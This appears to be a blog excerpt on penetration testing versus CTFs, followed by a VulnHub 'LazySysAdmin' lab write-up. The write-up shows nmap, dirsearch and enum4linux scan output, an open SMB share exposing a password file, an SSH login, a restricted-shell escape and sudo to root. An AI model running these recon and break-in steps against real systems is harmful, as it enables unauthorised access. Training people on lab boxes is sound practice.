A Dive into the Nuances of Penetration Testing vs Capture the Flag Challenges

Introduction Embarking on a journey into the dynamic world of cybersecurity, at some point, you'll inevitably encounter the terms of Penetration Testing and Capture the Flag (CTF) challenges. This post aims to unravel the intricate differences between these two domains, shedding light on the nuances and hopefully making things just a bit clearer and more distinctive. Let's jump into it. Understanding the Objectives At its core, penetration testing is a meticulous and systematic endeavor to uncover and exploit vulnerabilities within a targeted system, network or application. Unlike the clandestine nature of real-world attackers, penetration testers operate with explicit consent, allowing for a comprehensive evaluation of an organization's security posture. The overarching goal is to emulate genuine threats, providing valuable insights into potential weaknesses and areas for improvement. The main and final goal is to provide the client with value, by identifying, exploiting ...
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LazySysAdmin 1 Writeup

This time, I try a box that did catch my attention. This box is called LazySysAdmin and in the description there is a mention about OSCP.

Starting as always with a thorough nmap scan.

# Nmap 7.50 scan initiated Mon Dec 25 22:45:07 2017 as: nmap -A -T4 -sV -p- -Pn -n -v -oA fulltcp 192.168.1.71
Increasing send delay for 192.168.1.71 from 5 to 10 due to 33 out of 81 dropped probes since last increase.
Warning: 192.168.1.71 giving up on port because retransmission cap hit (6).
Nmap scan report for 192.168.1.71
Host is up (0.00053s latency).
Not shown: 65529 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 b5:38:66:0f:a1:ee:cd:41:69:3b:82:cf:ad:a1:f7:13 (DSA)
|   2048 58:5a:63:69:d0:da:dd:51:cc:c1:6e:00:fd:7e:61:d0 (RSA)
|   256 61:30:f3:55:1a:0d:de:c8:6a:59:5b:c9:9c:b4:92:04 (ECDSA)
|_  256 1f:65:c0:dd:15:e6:e4:21:f2:c1:9b:a3:b6:55:a0:45 (EdDSA)
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-generator: Silex v2.2.7
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 4 disallowed entries 
|_/old/ /test/ /TR2/ /Backnode_files/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Backnode
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL (unauthorized)
6667/tcp open  irc         InspIRCd
| irc-info: 
|   server: Admin.local
|   users: 1.0
|   servers: 1
|   chans: 0
|   lusers: 1
|   lservers: 0
|   source ident: nmap
|   source host: 192.168.1.86
|_  error: Closing link: (nmap@192.168.1.86) [Client exited]
MAC Address: 00:0C:29:27:73:22 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Uptime guess: 0.020 days (since Mon Dec 25 22:41:41 2017)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Hosts: LAZYSYSADMIN, Admin.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -2s, deviation: 0s, median: -2s
| nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: , NetBIOS MAC:  (unknown)
| Names:
|   LAZYSYSADMIN<00>     Flags: 
|   LAZYSYSADMIN<03>     Flags: 
|   LAZYSYSADMIN<20>     Flags: 
|   WORKGROUP<00>        Flags: 
|_  WORKGROUP<1e>        Flags: 
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: lazysysadmin
|   NetBIOS computer name: LAZYSYSADMIN\x00
|   Domain name: \x00
|   FQDN: lazysysadmin
|_  System time: 2017-12-26T07:10:01+10:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

TRACEROUTE
HOP RTT     ADDRESS
1   0.53 ms 192.168.1.71

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec 25 23:10:12 2017 -- 1 IP address (1 host up) scanned in 1506.98 seconds

Many different services to mess around with. Taking a look at the webserver.


Nothing much to do here. I fire up dirsearch in order to identify any other directories (since the ones identified from robots.txt didn't yield anything useful either).

root@kali:~/Tools/dirsearch# ./dirsearch.py -b -w ../SecLists/Discovery/Web_Content/raft-small-directories.txt -e "" -u http://192.168.1.71/

 _|. _ _  _  _  _ _|_    v0.3.7
(_||| _) (/_(_|| (_| )

Extensions:  | Threads: 10 | Wordlist size: 20122

Error Log: /root/Tools/dirsearch/logs/errors-17-12-26_13-29-09.log

Target: http://192.168.1.71/

[13:29:09] Starting: 
[13:29:10] 301 -  310B  - /test  ->  http://192.168.1.71/test/
[13:29:10] 301 -  316B  - /javascript  ->  http://192.168.1.71/javascript/
[13:29:10] 301 -  309B  - /old  ->  http://192.168.1.71/old/
[13:29:11] 301 -  316B  - /phpmyadmin  ->  http://192.168.1.71/phpmyadmin/
[13:29:11] 301 -  315B  - /wordpress  ->  http://192.168.1.71/wordpress/
[13:29:11] 301 -  308B  - /wp  ->  http://192.168.1.71/wp/
[13:29:27] 301 -  312B  - /apache  ->  http://192.168.1.71/apache/
[13:29:28] 403 -  292B  - /server-status
[13:29:48] 200 -   35KB - /

Task Completed

Some interesting pages here, a wordpress installation, phpmyadmin etc. Navigating to the wordpress installation gives the following.


Ok so your name is togie. After some further enumeration, still nothing of interest at this point. I decide to take a closer look through SMB on the box.

root@kali:~/Documents/ctfs/vulnhub/lazysysadmin# enum4linux -U -S -G -P -o -n -i 192.168.1.71
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Dec 26 13:27:28 2017

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 192.168.1.71
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ==================================================== 
|    Enumerating Workgroup/Domain on 192.168.1.71    |
 ==================================================== 
[+] Got domain/workgroup name: WORKGROUP

 ============================================ 
|    Nbtstat Information for 192.168.1.71    |
 ============================================ 
Looking up status of 192.168.1.71
 LAZYSYSADMIN    <00> -         B   Workstation Service
 LAZYSYSADMIN    <03> -         B   Messenger Service
 LAZYSYSADMIN    <20> -         B   File Server Service
 WORKGROUP       <00> -  B   Domain/Workgroup Name
 WORKGROUP       <1e> -  B   Browser Service Elections

 MAC Address = 00-00-00-00-00-00

 ===================================== 
|    Session Check on 192.168.1.71    |
 ===================================== 
[+] Server 192.168.1.71 allows sessions using username '', password ''

 =========================================== 
|    Getting domain SID for 192.168.1.71    |
 =========================================== 
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

 ====================================== 
|    OS information on 192.168.1.71    |
 ====================================== 
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 192.168.1.71 from smbclient: 
[+] Got OS info for 192.168.1.71 from srvinfo:
 LAZYSYSADMIN   Wk Sv PrQ Unx NT SNT Web server
 platform_id     : 500
 os version      : 6.1
 server type     : 0x809a03

 ============================= 
|    Users on 192.168.1.71    |
 ============================= 
Use of uninitialized value $users in print at ./enum4linux.pl line 874.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 877.

Use of uninitialized value $users in print at ./enum4linux.pl line 888.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 890.

 ========================================= 
|    Share Enumeration on 192.168.1.71    |
 ========================================= 
WARNING: The "syslog" option is deprecated
OS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu]
OS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu]

 Sharename       Type      Comment
 ---------       ----      -------
 print$          Disk      Printer Drivers
 share$          Disk      Sumshare
 IPC$            IPC       IPC Service (Web server)

 Server               Comment
 ---------            -------

 Workgroup            Master
 ---------            -------
 WORKGROUP            

[+] Attempting to map shares on 192.168.1.71
//192.168.1.71/print$ Mapping: DENIED, Listing: N/A
//192.168.1.71/share$ Mapping: OK, Listing: OK
//192.168.1.71/IPC$ Mapping: OK Listing: DENIED

 ==================================================== 
|    Password Policy Information for 192.168.1.71    |
 ==================================================== 
[E] Unexpected error from polenum:
Traceback (most recent call last):
  File "/usr/bin/polenum", line 33, in 
    from impacket.dcerpc import dcerpc_v4, dcerpc, transport, samr
ImportError: cannot import name dcerpc_v4
[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 5


 ============================== 
|    Groups on 192.168.1.71    |
 ============================== 

[+] Getting builtin groups:

[+] Getting builtin group memberships:

[+] Getting local groups:

[+] Getting local group memberships:

[+] Getting domain groups:

[+] Getting domain group memberships:

 ============================================= 
|    Getting printer info for 192.168.1.71    |
 ============================================= 
No printers returned.


enum4linux complete on Tue Dec 26 13:27:29 2017

Ok now this is something. There is some public share accessible.


From the looks of it, this directory seems to be the webroot of the box. Although there are some other files accessible that were not found earlier. Browsing those files and we can find some wordpress db credentials etc, although connection to mysql is not allowed externally. And even through the phpmyadmin that was found earlier, there are some errors about an incomplete installation of it. What is interesting though is the file deets.txt that provides the password 12345. And considering the name togie identified earlier that might be something.

Going straight for the jugular I decide to try SSH directly.

root@kali:~/Documents/ctfs/vulnhub/lazysysadmin# ssh togie@192.168.1.71
##################################################################################################
#                                          Welcome to Web_TR1                                    #
#                             All connections are monitored and recorded                         # 
#                    Disconnect IMMEDIATELY if you are not an authorized user!                   # 
##################################################################################################

togie@192.168.1.71's password: 
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Tue Dec 26 21:51:17 AEST 2017

  System load:  0.07              Processes:           176
  Usage of /:   46.2% of 2.89GB   Users logged in:     0
  Memory usage: 25%               IP address for eth0: 192.168.1.71
  Swap usage:   0%

  Graph this data and manage this system at:
    https://landscape.canonical.com/

133 packages can be updated.
0 updates are security updates.

New release '16.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

togie@LazySysAdmin:~$

Ok that's great, however, I landed into a restricted shell and output cannot be redirected etc. Let's try a simple escape.

togie@LazySysAdmin:~$ python -c 'import pty; pty.spawn("/bin/bash")'
togie@LazySysAdmin:~$

All is well. First thing to check, even if it's usually a longshot, is try what kind of privileged access the current user has on the system.

togie@LazySysAdmin:~$ sudo -l
[sudo] password for togie: 
Matching Defaults entries for togie on LazySysAdmin:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User togie may run the following commands on LazySysAdmin:
    (ALL : ALL) ALL

So seems like the longshot was more successful than I thought it would be. The user has full administrative access on the system using sudo. Let's change to root and grab the flag.

togie@LazySysAdmin:~$ sudo su
root@LazySysAdmin:/home/togie# cd
root@LazySysAdmin:~# ls
proof.txt
root@LazySysAdmin:~# cat proof.txt
WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851


Well done :)

Hope you learn't a few things along the way.

Regards,

Togie Mcdogie




Enjoy some random strings

WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851
2d2v#X6x9%D6!DDf4xC1ds6YdOEjug3otDmc1$#slTET7
pf%&1nRpaj^68ZeV2St9GkdoDkj48Fl$MI97Zt2nebt02
bhO!5Je65B6Z0bhZhQ3W64wL65wonnQ$@yw%Zhy0U19pu

Aaand there is the flag!

All in all a fine little box focused on enumeration and making the user look around.
Once again, thanks a lot goes to Vulnhub for hosting these boot2roots and TogieMcdogie for creating this specific one.

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